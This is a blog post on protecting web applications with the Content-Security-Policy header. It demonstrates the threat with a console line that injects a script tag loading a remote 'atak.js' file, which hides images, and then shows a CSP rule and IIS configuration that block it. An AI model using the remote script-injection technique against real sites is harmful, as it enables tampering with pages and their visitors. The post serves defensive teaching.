Take Control of Your App!

For a long time I’ve believed that my ability to control our web application ends when the content is send from the server. We encrypt any custom content, validate tokens, authorize users, give them permissions which we validate and many, many more. But when a html is rendered and send, when all files are served to a client, then I’m not able to control what will happen on the user side.

There awaits another hostile word - the browser - with a variety of plugins and extensions. There are our users’ computers, maybe with some malicious software! And be sure that someone or something can abuse our HTML! It may change a data in our inputs! And we can’t do anything about it :(

But it’s not true. Content-Security-Policy header can restrict which CSS, JavaScript, media, etc. the browser can use within our page.

####Let’s start with “the bad guy”####

We will write a piece of JavaScript (very malicious) which make all <img> tags hidden:

// atak.js
//
var atck_list = document.getElementsByTagName("img");
for(var ind = 0; ind < atck_list.length; ind++) {
    atck_list[ind].style.visibility = 'hidden';
}

I will “hide” this script somewhere between files of an innocent web application: http://icsu.jurek333.edu.pl/content/images/atak.js. By doing this I will be able to HTTP GET after this code from any machine. Even better if I put this file somewhere where I can reach over ssl.

Now we can start make some mischiefs. For simplicity I save a “random” web page and host it locally on IIS as a static HTML. Then open it in my browser and in the console paste this line:

var t = document.createElement("script"); t.src = "http://icsu.jurek333.edu.pl/content/images/atak.js"; document.body.appendChild(t);

We behave now as a nasty software or a piece of injected script which is trying to download and run custom script file with hostile code. This way the bad guy avoid “leaving behind” all of his code and configuration. On the victim’s machine exists only the piece that makes injection and is hidden somewhere. This gives him elasticity, because he can change attack code at any moment.

Victim page before Victim page after
Before After

You can see effects on the print-screens above. Yup, we did it, we hide all <img> elements.

####Now is the time for “the rescue”####

What’s about this Content-Security-Policy header? It is a set of simple rules, sort of a whitelist. It inform the browser which sources are allowed for given types of content. When the browser is asked to make a request for JavaScript from location not allowed in the CSP, it will ban this attempt. If we also fill the report-uri section in our CSP header, the browser will send us, each time, a CSP Violation Report. This contains useful information about the attempt to break any of our CSP rules.

You can go to the page https://report-uri.io/home/analyse and check CSP headers for various bank’s web pages :) - for learning purposes. At https://report-uri.io/home/generate we will find a tool to build our own CSP header. There we can find basic information about all CSP-sections, it’s worth reading.

I’ve created my own rule:

 default-src 'self'; 
 script-src 'unsafe-eval' 'unsafe-inline' *.pracuj.pl ajax.googleapis.com; 
 style-src 'self' 'unsafe-inline' *.pracuj.pl; 
 img-src 'self' data: *.pracuj.pl; 
 font-src 'self' data: *.pracuj.pl; media-src *.pracuj.pl; 
 object-src 'self'; 
 child-src 'self'; 
 frame-ancestors 'self'; 
 form-action 'self'; 
 report-uri https://simnple.localhost/Api/csp-violation;
  • ‘self’ - current origin without subdomains
  • ‘unsafe-eval’ - I know: eval() is evil!
  • data: - stands for base64 inline images: <img src="data:image/png;base64,iVBORw0KGgoAAAANSUh…"/>
  • *.pracuj.pl - allows all subdomains of pracuj.pl

Rest I’ll leave You to find out by yourself, Report-Uri page shall be helpful :).

Now, for IIS You can just place that header in the web application web.config file. It can be added to the response by the application also. In that case Your app can even create custom CSP rule per HTML page it serves.

<!-- web.config -->
<?xml version="1.0" encoding="utf-8"?>
<configuration>
	<system.webServer>
        <httpProtocol>
            <customHeaders>
                <add name="Content-Security-Policy" value="default-src 'self' ; script-src 'unsafe-eval' 'unsafe-inline' *.pracuj.pl ajax.googleapis.com; style-src 'self' 'unsafe-inline' *.pracuj.pl; img-src 'self' data: *.pracuj.pl; font-src 'self' data: *.pracuj.pl; media-src *.pracuj.pl; object-src 'self' ; child-src 'self' ; frame-ancestors 'self' ; form-action 'self' ; report-uri https://somple.localhost/Api/csp-violation;" />
            </customHeaders>
        </httpProtocol>
    </system.webServer>
</configuration>

From now on every attempt to run our malicious atak.js script on the victim page ends with error in the browser’s console.

The browser refuse to load atak.js

And because we have filled report-uri section in CSP header, chrome developer tools in Network tab will show us request to that uri with the CSP Violation Report in payload:

CPS Violation Report browser sent

####Have I found “silver bullet”?####

Unfortunately… No :). There are still techniques that can bypass this solution. For example browser extensions wouldn’t be blocked, unless it try to modify HTML DOM in a way that the browser will be responsible for getting offensive file. Of course the more You are restrictive the more secure is your page. So maybe You can avoid ‘unsafe-eval’ or ‘unsafe-inline’ (they are even named unsafe :) ).

How about browser’s support? Almost all of current browsers support or partially support (like IE) Content Security Policy (caniuse.com). It doesn’t prevent all XSS threads, but it helps a lot. And with other security measures one can pretty much make his app nice and safe.

Already there is work in progress to define Content Security Policy Level 3. I think now is the time to adopt this solution.